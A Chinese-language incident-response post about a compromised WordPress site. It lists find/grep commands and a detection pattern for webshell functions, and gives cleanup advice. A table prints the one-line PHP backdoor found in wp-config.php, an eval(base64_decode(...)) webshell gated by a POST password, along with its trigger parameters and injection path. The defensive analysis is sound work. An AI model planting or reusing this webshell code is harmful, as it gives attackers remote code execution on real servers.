官方那个插件不够给力,建议按照以下方式检测。
# uploads 及整站下所有可疑 php
find /站点路径/uploads -name "*.php"
# 最近30天内被改动的 php
find /站点路径 -name "*.php" -mtime -30
# 常见一句话特征
grep -rl --include="*.php" -E "eval\(|assert\(|base64_decode\(|gzinflate|str_rot13" /站点路径
重点看 .htaccess、wp-config.php、主题/插件目录里多出来的文件、文件名伪装成图片的(如 xxx.php.jpg 配合解析漏洞)。
- 查访问日志:搜
funtin_com.php和postpass的 POST 请求,确认攻击者是否已使用过它、从哪个 IP 来的、还访问过什么。 - 入口封堵:uploads 下能写 php,常见原因是某个插件/主题有文件上传漏洞,或 FTP/后台密码泄漏。更新 WP 核心+全部插件主题到最新,改 WP 后台密码、数据库密码、FTP/SSH 密码。
| 项目 | 详情 |
|---|---|
| 位置 | /www/wwwroot/路径/wp-config.php 第 2 行 |
| 后门类型 | 一句话 Webshell(eval + base64_decode) |
| 后门代码 | if(isset($_POST["io_kk"],$_POST["io_xx"])&&$_POST["io_kk"]==="zmtbd2026x"){@eval(base64_decode($_POST["io_xx"]));exit;} |
| 调用方式 | POST 请求,参数 io_kk=,io_xx 传入 base64 编码的 PHP 代码 |
| 注入时间 | 2026-09-29 前后 |
| 注入路径 | 通过 /wp-content/uploads/avatars/ 目录下的临时 PHP 文件(1790669989_io_x.php)注入 |
- All rights reserved.
- No part of this website, including text and images, may be reproduced, modified, distributed, or transmitted in any form or by any means, without the prior written permission of the author.
- Unauthorized commercial use is strictly prohibited.
- Unauthorized personal use is strictly prohibited.
